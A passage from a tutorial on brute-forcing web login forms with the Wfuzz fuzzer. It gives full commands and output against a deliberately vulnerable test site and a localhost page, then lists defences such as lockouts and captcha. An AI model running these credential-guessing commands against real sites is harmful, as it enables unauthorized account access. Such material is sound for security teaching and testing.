```
[Dheekksha@dheekksha wfuzz-master]$  wfuzz  -z file,wordlist/others/common_pass.t
xt -d "uname=FUZZ&pass=FUZZ"  --hc 302 http://testphp.vulnweb.com/userinfo.php
libraries.FileLoader: CRITICAL  __load_py_from_file. Filename: /usr/local/lib/pyt
hon3.7/site-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module
named 'shodan'
libraries.FileLoader: CRITICAL  __load_py_from_file. Filename: /usr/local/lib/pyt
hon3.7/site-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module nam
ed 'shodan'
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://testphp.vulnweb.com/userinfo.php
Total requests: 52

=====================================================================
ID           Response   Lines    Word     Chars       Payload
=====================================================================

000000044:   200        119 L    445 W    5961 Ch     "test"

Total time: 16.62071
Processed Requests: 52
Filtered Requests: 51
Requests/sec.: 3.128625
```

Figure 6: Successful fuzzing with no false positives

```
[Dheekksha@dheekksha wfuzz-master]$  wfuzz -z file,wordlist/others/common_pass.t
xt -d "uname=FUZZ&pass=FUZZ"  --hc 302 http://localhost/login.php
libraries.FileLoader: CRITICAL  __load_py_from_file. Filename: /usr/local/lib/pyt
hon3.7/site-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module
named 'shodan'
libraries.FileLoader: CRITICAL  __load_py_from_file. Filename: /usr/local/lib/pyt
hon3.7/site-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module nam
ed 'shodan'
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://localhost/login.php
Total requests: 52

=====================================================================
ID           Response   Lines    Word     Chars       Payload
=====================================================================

000000003:   200        39 L     115 W    1577 Ch     "1234567"
000000005:   200        39 L     115 W    1577 Ch     "123asdf"
000000001:   200        39 L     115 W    1577 Ch     ""
000000002:   200        39 L     115 W    1577 Ch     "123456"
000000004:   200        39 L     115 W    1577 Ch     "12345678"
000000006:   200        39 L     115 W    1577 Ch     "Admin"
000000007:   200        39 L     115 W    1577 Ch     "admin"
```

Figure 7: Localhost login fuzzed, part 1

post data is being fuzzed. In this case, both user name and password are being brute forced so *fuzz* is mentioned twice, followed by *–hc 302* to remove false positives. The URL with *.php* when fuzzed reveals the user name and passwords. In this case, *vulnweb.com/userinfo.php* is fuzzed using *common_pass.txt*. Fifty-two requests are processed and here, both 302 and 200 responses are shown.

A modification

By adding *–hc 302*, only the successful requests are shown. In this case, the user name and password is 'test' and we can log in successfully.

Fuzzing a local host (a website with login page)

The user name and password are brute forced.

```
<wfuzz -z file>wordlist/others/common_
pass.txt -d "uname=FUZZ&pass=FUZZ" --hc
302

http://localhost/login.php
```

The command starts with *wfuzz* and *-z* to select the payload and the file, and *-d* to fetch post data *fuzz* for user name and password. *–hc 302* is added to hide false positives. Instead of the website, localhost is given as input. As the login part is being fuzzed, the URL with *.php* is given as the target. Fifty-two requests are made in this case, from the file *common_pass*, as this is the wordlist with the most probability of brute forcing a login page; using this shorter list reduces processing time so it leads to faster results. The list of all valid payloads that will fuzz the user name and password is displayed with 200 responses. The start of the list has been shown in Figure 7.

Fifty-two requests have been processed in 0.16 seconds at a speed of 320 requests per second.

Prevention of brute-forcing

The common strategies used to secure Web applications are:

- Locking out accounts
- Limiting failed logins
- Using captcha
- Monitoring server logs

Wfuzz uses the given URL and attempts to find the correct combination of user names and passwords from a given file by using all the combinations of words from a specified file against the files/directories/user names that it is attempting to fuzz.

In the example shown above, a minimum of 52 to a maximum of 200,000 requests are being processed by the tool. However complicated the password, it is just a matter of time before the payloads are manipulated enough to crack it. Additionally, the tool is very fast at processing, paving way for greater speed and efficiency. Brute forcing can be done with any combination of letters, numbers and characters.

A simple but effective way of combating brute forcing and causing Wfuzz to fail while fuzzing can be to limit the number of tries during login, as demonstrated below. As the number of requests is limited, brute forcing as a whole will not be able to proceed more